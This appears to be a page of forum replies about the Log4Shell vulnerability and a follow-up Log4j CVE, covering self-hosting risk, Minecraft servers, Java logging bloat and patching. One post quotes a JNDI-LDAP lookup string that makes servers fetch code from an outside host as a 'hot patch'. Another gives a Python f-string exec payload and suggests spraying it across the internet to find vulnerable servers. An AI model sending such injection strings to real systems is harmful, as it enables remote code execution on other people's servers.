My kids are tremendously disappointed that the Minecraft server is not coming back up in the near future.
Log4Shell update: second Log4j vulnerability published
111–120 of 289 posts
Re: Log4Shell update: second Log4j vulnerability published
#112Earlier quoted context omitted.
This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
> If they somehow manage to get in at least they won't be roaming around inside my home network. I mean if that’s your only concern, it’s pretty easy to run Minecraft in a docker container that’s only allowed to accept inbound connections and to make outbound connections to the internet (or more specifically to the Mojang auth server)
I believe you can forgo even that; a vanilla server jar can be configured to run in "cracked" mode by setting 'online-mode' to false in server.properties. Skins won't work though, players will have steve/alex skins.
It's documented on the no-longer-official wiki here:
> online-mode - Server checks connecting players against Minecraft account database. Set this to false only if the player's server is not connected to the Internet. Hackers with fake accounts can connect if this is set to false! If minecraft.net is down or inaccessible, no players can connect if this is set to true. Setting this variable to off purposely is called "cracking" a server, and servers that are present with online mode off are called "cracked" servers, allowing players with unlicensed copies of Minecraft to join.
Re: Log4Shell update: second Log4j vulnerability published
#113Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…
"Alexa, define yak-shaving"
Re: Log4Shell update: second Log4j vulnerability published
#114Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…
I am not sure I ever saw a minimal Java program (but I am not a Java programmer, so maybe it is just my limited perspective).
Re: Log4Shell update: second Log4j vulnerability published
#115We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…
While brilliant, I don't think anyone should actually be content after running this in their server. The patch won't work in case of multiple pods, and won't be applied again in case you redeploy the code
Re: Log4Shell update: second Log4j vulnerability published
#116Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
Re: Log4Shell update: second Log4j vulnerability published
#117Earlier quoted context omitted.
I'd argue it's more a symptom of the Java ecosystem than anything, and probably a lot more to come. From my brief tenure with it, it seemed to be 'add everything, deprecate nothing'. I remember when writing my first Java code from reference, it all worked, then my coworkers grilled me for using some -builtin- libraries because 'nobody uses that anymore.' That, and Java does everything their own way. From bouncycastle…
This is one reason I like Go. It’s exactly the opposite to Java in that respect.
Re: Log4Shell update: second Log4j vulnerability published
#118It's funny that this vuln kind of already exists in other software that uses printf() allowing the user to specify the format string. (Not nearly as easy as this particular bug of course!) Maybe we'll have a mini renaissance of format string vulns now?
Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen(' http://localhost:8000').read ()")}"""` and variants, see what servers bite and then try to send them a more potent attack. So i personally believe log4sh type attacks across languages will beco…
The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on those values.
Re: Log4Shell update: second Log4j vulnerability published
#119Earlier quoted context omitted.
I would run screaming from such an organization.
I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful. Reality is a messy thing.
Re: Log4Shell update: second Log4j vulnerability published
#120We spent a few hours writing this today due to the sh*tstorm that's hit the internet since this 2nd CVE was posted up. It took us some time to do a security analysis of it and to publish our findings. If you've patched against Log4Shell, please read this to make sure you're not still vulnerable to this 2nd CVE. In some cases, you're still vulnerable depending on how you patched. In response to this, Apache published…
Probably best to patch it anyway, some customer with a report from a dumbass jar scanning tool will moan continuously if you don’t whether you’re vulnerable or not.